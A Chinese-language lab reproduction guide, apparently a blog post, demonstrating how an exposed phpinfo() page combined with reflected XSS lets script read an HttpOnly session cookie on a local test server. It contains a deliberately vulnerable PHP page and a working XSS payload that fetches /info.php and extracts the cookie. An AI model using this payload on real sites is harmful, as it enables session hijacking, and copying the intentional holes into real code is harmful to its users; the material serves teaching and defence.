漏洞复现指南:利用 phpinfo() 绕过 HttpOnly Cookie 保护

1. 实验综述

本实验旨在展示一个经典的"漏洞链":利用服务器配置错误(泄露的 phpinfo.php)配合跨站脚本攻击(XSS),成功绕过浏览器对 HttpOnly Cookie 的安全保护。


2. 环境搭建

你需要一个支持 PHP 的本地环境(如 XAMPP 或 Ubuntu + Apache/Nginx)。

2.1 服务器环境确认

确保 PHP 环境已正常运行。

截图参考:系统环境确认(如 PHP 7.4.3 版本)。

2.2 创建漏洞页面 vuln.php

该页面模拟两个关键点:手动设置一个受 HttpOnly 保护的敏感 Cookie,以及一个未经过滤的 XSS 注入点。

php 复制代码
<?php
// vuln.php
// 1. 模拟登录:设置一个 HttpOnly 的 Cookie
setcookie("SecretSessionID", "A1B2C3D4E5_VERY_SECRET", [
    'expires' => time() + 3600,
    'path' => '/',
    'httponly' => true, // 关键点:浏览器脚本理论上无法读取此 Cookie
    'samesite' => 'Strict'
]);
// 2. 模拟 XSS 漏洞:直接回显用户输入的 'name' 参数
$name = isset($_GET['name']) ? $_GET['name'] : 'Guest';
?>
<!-- HTML 部分省略,包含一个显示 $name 的位置 -->

2.3 创建信息泄露页面 info.php

模拟生产环境中被遗留的诊断文件。

php 复制代码
<?php
// info.php
phpinfo();
?>

3. 复现流程

步骤 1:确认 HttpOnly 保护生效

  1. 访问 http://localhost/vuln.php
  2. 打开开发者工具 (F12) -> Storage -> Cookies。
  3. 确认 SecretSessionIDHttpOnly 属性已勾选。此时,在控制台输入 document.cookie 将无法看到该值。

截图参考 :浏览器中 Cookie 的 HttpOnly 状态。

步骤 2:确认 phpinfo() 信息泄露

  1. 访问 http://localhost/info.php
  2. 搜索 HTTP_COOKIE 字段。
  3. 发现风险 :由于服务器会打印完整的 HTTP 请求头,受保护的 SecretSessionID 明文显示在 HTML 页面中。

步骤 3:构造并注入攻击 Payload

由于 document.cookie 被封锁,攻击者利用 JavaScript 发起异步请求来读取 info.php 的响应内容,并从中提取 Cookie。

攻击 Payload 逻辑

  1. 使用 fetch() 访问同域下的 /info.php
  2. 获取响应的文本内容。
  3. 使用正则表达式匹配 SecretSessionID 后的字符串。
  4. 将提取到的值通过弹窗或外传展示。

URL 注入链接

text 复制代码
http://localhost/vuln.php?name=<script>fetch('/info.php').then(r=>r.text()).then(t=>{alert(t.match(/SecretSessionID=[a-zA-Z0-9_-]+/))})</script>

注意:在实际测试中,Payload 需要进行转义或 URL 编码以防语法错误。

步骤 4:执行攻击与结果验证

  1. 将构造好的链接粘贴至浏览器访问。
  2. 预期结果:页面执行注入的脚本,并弹出包含受保护 Cookie 的警告框。

截图参考 :成功绕过 HttpOnly 提取到的 Cookie 弹窗。


4. 结论与风险总结

  • 高危风险 :此漏洞允许攻击者完全接管用户会话,即便开启了 HttpOnly 防御。
  • 防御失效 :原本用于防止 XSS 窃取 Cookie 的安全标志,在 phpinfo() 的"协助"下彻底失效。

比喻理解 : 设置 HttpOnly 标志就像给房子安装了防盗门 ,让小偷没法直接拿到钥匙;但公开暴露 phpinfo.php 就像在门旁的告示牌上贴了一张钥匙的详细蓝图。攻击者通过 XSS 潜入院子后,只需照着蓝图"复刻"一把,依然能打开你的防盗门。

相关推荐
梦6501 分钟前
Vue3 计算属性 (computed) 与监听属性 (watch)
前端·javascript·vue.js
六月June June16 分钟前
leaflet L.popup().setContent中挂载vue组件
前端·javascript·vue.js
首席拯救HMI官19 分钟前
【拯救HMI】HMI容错设计:如何减少操作失误并快速纠错?
大数据·运维·前端·javascript·网络·学习
m0_7482546625 分钟前
Vue.js 模板语法基础
前端·vue.js·flutter
PBitW33 分钟前
和AI浅聊了一下SEO —— 真神Astro
前端·seo
胆大如牛白展堂33 分钟前
自动刷新token登录
前端·设计模式
Charon_super33 分钟前
html语法笔记
前端·笔记·html
JeffreyTaiT34 分钟前
根据binlog恢复SQL
前端·mysql
Anita_Sun36 分钟前
Lodash 源码解读与原理分析 - Lodash 静态方法与原型方法
前端
明月_清风38 分钟前
Async/Await:让异步像同步一样简单
前端·javascript